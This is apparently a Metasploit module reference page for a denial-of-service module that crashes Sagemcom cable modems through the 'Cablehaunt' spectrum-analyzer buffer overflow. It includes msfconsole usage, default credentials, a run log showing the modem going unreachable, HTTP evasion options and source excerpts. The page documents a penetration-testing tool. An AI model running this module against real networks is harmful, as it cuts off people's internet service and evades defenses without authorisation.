"Cablehaunt" Cable Modem WebSocket DoS - Metasploit


This page contains detailed information about how to use the auxiliary/dos/http/cable_haunt_websocket_dos metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: "Cablehaunt" Cable Modem WebSocket DoS
Module: auxiliary/dos/http/cable_haunt_websocket_dos
Source code: modules/auxiliary/dos/http/cable_haunt_websocket_dos.rb
Disclosure date: 2020-01-07
Last modification time: 2021-05-13 04:01:03 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-19494

There exists a buffer overflow vulnerability in certain Cable Modem Spectrum Analyzer interfaces. This overflow is exploitable, but since an exploit would differ between every make, model, and firmware version (which also differs from ISP to ISP), this module simply causes a Denial of Service to test if the vulnerability is present.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/http/cable_haunt_websocket_dos
msf auxiliary(cable_haunt_websocket_dos) > show targets
    ... a list of targets ...
msf auxiliary(cable_haunt_websocket_dos) > set TARGET target-id
msf auxiliary(cable_haunt_websocket_dos) > show options
    ... show and set options ...
msf auxiliary(cable_haunt_websocket_dos) > exploit

Knowledge Base

Vulnerable Application

Sagecom F@st-3890 Cable Modems

Please note that successful completion of this module will most likely knock out upstream network services, including any remote sessions connected through the cable modem.

Please refer to https://cablehaunt.com/ for more information on this vulnerability.

Options

WS_USERNAME

This is the basic auth username for the spectrum analysis web service. This is typicall default credentials such as admin:password but may also be something along the lines of spectrum:spectrum. This will vary from manufacturer to manufacturer and ISP to ISP.

WS_PASSWORD

This is the basic auth password for the spectrum analysis web service.

TIMEOUT

This is the timeout in seconds that the module should wait before making a conclusion on the success of the payload delivery. Typically, the device crashes within about 5 second of the payload being delivered. The default value of 15 should be seen as the lower bound for TIMEOUT values.

RHOSTS

Typically the only address which should be used for this value is 192.168.100.1. It can be different, but not in a well-secured configuration.

RPORT

On some devices the Spectrum Analysis web service runs on port 8080, though Lyrebirds (the original discoverer and PoC author) notes that sometimes it can run on port 6080.

Scenarios

msf5 auxiliary(dos/http/cable_haunt_websocket_dos) > run
[*] Running module against 192.168.100.1

[*] Attempting Connection to 192.168.100.1
[*] Opened connection
[*] Sending payload
[*] Checking Modem Status
[*] Cable Modem unreachable
[+] Exploit delivered and cable modem unreachable.
[*] Auxiliary module execution completed

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Msfconsole Usage

Here is how the dos/http/cable_haunt_websocket_dos auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/http/cable_haunt_websocket_dos

msf6 auxiliary(dos/http/cable_haunt_websocket_dos) > show info

       Name: "Cablehaunt" Cable Modem WebSocket DoS
     Module: auxiliary/dos/http/cable_haunt_websocket_dos
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-01-07

Provided by:
  Alexander Dalsgaard Krog (Lyrebirds)
  Jens Hegner St��rmose (Lyrebirds)
  Kasper Kohsel Terndrup (Lyrebirds)
  Simon Vandel Sillesen (Independent)
  Nicholas Starke

Check supported:
  No

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  RHOSTS       192.168.100.1    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT        8080             yes       The target port (TCP)
  TIMEOUT      15               yes       Time to wait for response
  WS_PASSWORD  password         yes       WebSocket connection basic auth password
  WS_USERNAME  admin            yes       WebSocket connection basic auth username

Description:
  There exists a buffer overflow vulnerability in certain Cable Modem 
  Spectrum Analyzer interfaces. This overflow is exploitable, but 
  since an exploit would differ between every make, model, and 
  firmware version (which also differs from ISP to ISP), this module 
  simply causes a Denial of Service to test if the vulnerability is 
  present.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-19494
  https://www.exploit-db.com/exploits/47936
  https://cablehaunt.com/
  https://github.com/Lyrebirds/sagemcom-fast-3890-exploit

Module Options

This is a complete list of options available in the dos/http/cable_haunt_websocket_dos auxiliary module:

msf6 auxiliary(dos/http/cable_haunt_websocket_dos) > show options

Module options (auxiliary/dos/http/cable_haunt_websocket_dos):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   RHOSTS       192.168.100.1    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        8080             yes       The target port (TCP)
   TIMEOUT      15               yes       Time to wait for response
   WS_PASSWORD  password         yes       WebSocket connection basic auth password
   WS_USERNAME  admin            yes       WebSocket connection basic auth username

Advanced Options

Here is a complete list of advanced options supported by the dos/http/cable_haunt_websocket_dos auxiliary module:

msf6 auxiliary(dos/http/cable_haunt_websocket_dos) > show advanced

Module advanced options (auxiliary/dos/http/cable_haunt_websocket_dos):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/http/cable_haunt_websocket_dos module can do:

msf6 auxiliary(dos/http/cable_haunt_websocket_dos) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/http/cable_haunt_websocket_dos auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/http/cable_haunt_websocket_dos) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Cannot Connect to Cable Modem Spectrum Analyzer Web Service

Here is a relevant code snippet related to the "Cannot Connect to Cable Modem Spectrum Analyzer Web Service" error message:

60:	      'method' => 'GET',
61:	      'uri' => '/',
62:	      'authorization' => basic_auth(datastore['WS_USERNAME'], datastore['WS_PASSWORD'])
63:	    })
64:	
65:	    fail_with(Failure::Unreachable, 'Cannot Connect to Cable Modem Spectrum Analyzer Web Service') if res.nil?
66:	    fail_with(Failure::Unknown, 'Credentials were incorrect') if res.code != 200
67:	
68:	    @succeeded = false
69:	    EM.run do
70:	      print_status("Attempting Connection to #{datastore['RHOST']}")

Credentials were incorrect

Here is a relevant code snippet related to the "Credentials were incorrect" error message:

61:	      'uri' => '/',
62:	      'authorization' => basic_auth(datastore['WS_USERNAME'], datastore['WS_PASSWORD'])
63:	    })
64:	
65:	    fail_with(Failure::Unreachable, 'Cannot Connect to Cable Modem Spectrum Analyzer Web Service') if res.nil?
66:	    fail_with(Failure::Unknown, 'Credentials were incorrect') if res.code != 200
67:	
68:	    @succeeded = false
69:	    EM.run do
70:	      print_status("Attempting Connection to #{datastore['RHOST']}")
71:

Could not establish websocket connection

Here is a relevant code snippet related to the "Could not establish websocket connection" error message:

88:	              gain: 1
89:	            },
90:	            id: '0'
91:	          }.to_json)
92:	        rescue StandardError
93:	          fail_with(Failure::Unreachable, 'Could not establish websocket connection')
94:	        end
95:	      end
96:	
97:	      EM::Timer.new(10) do
98:	        print_status('Checking Modem Status')

Host still reachable

Here is a relevant code snippet related to the "Host still reachable" error message:

104:	
105:	          if res.nil?
106:	            @succeeded = true
107:	            print_status('Cable Modem unreachable')
108:	          else
109:	            fail_with(Failure::Unknown, 'Host still reachable')
110:	          end
111:	        rescue StandardError
112:	          @succeeded = true
113:	          print_status('Cable Modem unreachable')
114:	        end

Unknown failure occurred

Here is a relevant code snippet related to the "Unknown failure occurred" error message:

117:	      EM::Timer.new(datastore['TIMEOUT']) do
118:	        EventMachine.stop
119:	        if @succeeded
120:	          print_good('Exploit delivered and cable modem unreachable.')
121:	        else
122:	          fail_with(Failure::Unknown, 'Unknown failure occurred')
123:	        end
124:	      end
125:	    end
126:	  end
127:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • Alexander Dalsgaard Krog (Lyrebirds)
  • Jens Hegner Stærmose (Lyrebirds)
  • Kasper Kohsel Terndrup (Lyrebirds)
  • Simon Vandel Sillesen (Independent)
  • Nicholas Starke

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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